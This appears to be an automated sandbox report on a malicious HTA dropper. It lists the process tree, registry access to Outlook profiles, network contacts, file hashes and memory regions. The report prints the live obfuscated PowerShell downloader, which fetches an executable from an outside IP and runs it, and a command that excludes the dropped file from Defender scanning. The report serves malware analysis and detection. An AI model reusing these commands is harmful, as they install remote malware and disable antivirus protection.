PID 2344 wrote to memory of 1792 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 1792 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2344 wrote to memory of 2728 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2344 wrote to memory of 2728 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2344 wrote to memory of 2728 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2344 wrote to memory of 2728 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2728 wrote to memory of 2848 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2728 wrote to memory of 2848 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2728 wrote to memory of 2848 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2728 wrote to memory of 2848 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2344 wrote to memory of 2592 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2344 wrote to memory of 2592 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2344 wrote to memory of 2592 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2344 wrote to memory of 2592 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2592 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac.hta"

C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe

"C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xg6ussaw.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBAB8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBAB7.tmp"

C:\Users\Admin\AppData\Roaming\wininit.exe

"C:\Users\Admin\AppData\Roaming\wininit.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wininit.exe"

C:\Users\Admin\AppData\Roaming\wininit.exe

"C:\Users\Admin\AppData\Roaming\wininit.exe"

Network

Country Destination Domain Proto
US 66.63.187.231:80 66.63.187.231 tcp
DE 94.156.177.41:80 94.156.177.41 tcp
DE 94.156.177.41:80 94.156.177.41 tcp
DE 94.156.177.41:80 94.156.177.41 tcp
DE 94.156.177.41:80 94.156.177.41 tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 b60323869308c029c8130bb43a17b47b
SHA1 f9cc256d7a6ae26cf8fecf13099c71b0efb3f653
SHA256 372b6ae3b0d26019669776f8661e18677e2ab8c2b0ed709adb836a140381893f
SHA512 f37b316819f9bbde0cdf4d5c1127c25f28ed413e88a66b3f93ed7cde6bf807a91dad0dd63bbb336806de0df8de4c7b68e16f453f3605f6aa9014c45adbac5da0

\??\c:\Users\Admin\AppData\Local\Temp\xg6ussaw.cmdline

MD5 edbbb43c0ddb7c5ea8512c072793d005
SHA1 6ffdb680d1087f137d77ec377b7a0facd7db1af3
SHA256 0e01a563d2425e8e6a168f642793904f386c8df2dec873e6df1900e6fe6f36cd
SHA512 dddc4a070ccac3b6dd1837e3ed773db3241872ea14deb2a17c01fabfaed4d7ced3e7bc6d89128b030acfa477c200a2f9b8846279a3733e9f4793058ffdf9f792

\??\c:\Users\Admin\AppData\Local\Temp\xg6ussaw.0.cs

MD5 b0517586f4097114e790c61f2685f0d5
SHA1 20f7482298ab96731228ebd5242ceddfd72ff50f
SHA256 a738e3af6f29edd637630b0299f306056042ea1c73850eee95498499f5d90237
SHA512 c28702017ce7fe0d34bea38cef48df3bb65c63d92dddd6f8264f7262f7ae61b8d71bcd6fec06d0792373d15ba84fb2a1d0c26b0fe5755bc20505a9197d654ba0

\??\c:\Users\Admin\AppData\Local\Temp\CSCBAB7.tmp

MD5 8a0f117efcba70b1f76207e659d59e00
SHA1 9dcab9ed61fb957fff46341a54a36a3d5a66f533
SHA256 0f1aebf4d7fd16d624d208fa44852da244f753684f815940aa702b140eff2dc8
SHA512 e6ab10473fc1284b70e7ca1b3cd81ffb86794b06809212ff8b9375e909f92fd52f658f808f9a6f9f072485b69e0b7966c9991a92a987e1551af934391e89fe20

C:\Users\Admin\AppData\Local\Temp\xg6ussaw.dll

MD5 a63a9231533f816cf4119b719d54ed9a
SHA1 54728a75c9782428c42961dff5be24ee6eb214ee
SHA256 39deb01682c30d2ebc62635e1e3ccfc3ef9597c7e5d7e27aafd1dfa6c226e9b4
SHA512 e90d05f116eb468d873ed422f2b804800edf98c55ad61441f69876632a6280a79d6f32b458b9f8b59afe134654c5debe8561b39108fcaf0ad4b545c1cc4919d1

C:\Users\Admin\AppData\Local\Temp\RESBAB8.tmp

MD5 4d3cd0ff27b6273abc1b4e53c25da880
SHA1 f7446051b9bd475ebb9a03fc761647f1a44d15bf
SHA256 f3c6bf735802939bd5f6bfdedf137903bb17bd5c9257757a2266388a2a4fee17
SHA512 d65b5546965719f347fe9b3918fa627a78e98a75ccc082dd7fe5d4334c3c92cda25110d5cda1e0cbdfc693eedaa7241b47f2416c4983e62d6f44a3e2bd7af577

C:\Users\Admin\AppData\Local\Temp\xg6ussaw.pdb

MD5 6cbeb9ef7ac5b775fa164e8935f7cc5a
SHA1 615663e554433213cfce2a58a4f849a837f2efd7
SHA256 577e198389bfd60bdf277c9889201d32bc6cfccaa3c3d3c3452e8b120135d8d4
SHA512 c9b1c6bc8927ae7e44732c332e71b14b57556ce97f9e7248050e4df0de6be1ea4a3fb7874b12b649dc6f91e26cbdec3995befeb5d18041512fc2216e454cc3a0

\Users\Admin\AppData\Roaming\wininit.exe

MD5 66b03d1aff27d81e62b53fc108806211
SHA1 2557ec8b32d0b42cac9cabde199d31c5d4e40041
SHA256 59586e753c54629f428a6b880f6aff09f67af0ace76823af3627dda2281532e4
SHA512 9f8ef3dd8c482debb535b1e7c9155e4ab33a04f8c4f31ade9e70adbd5598362033785438d5d60c536a801e134e09fcd1bc80fc7aed2d167af7f531a81f12e43d

memory/2592-35-0x0000000000320000-0x00000000003B8000-memory.dmp

memory/2592-36-0x0000000000900000-0x0000000000912000-memory.dmp

memory/2592-37-0x00000000050E0000-0x0000000005144000-memory.dmp

memory/1632-46-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1632-49-0x0000000000400000-0x00000000004A2000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1632-51-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1632-48-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1632-44-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1632-42-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1632-40-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1632-38-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

memory/1632-77-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1632-85-0x0000000000400000-0x00000000004A2000-memory.dmp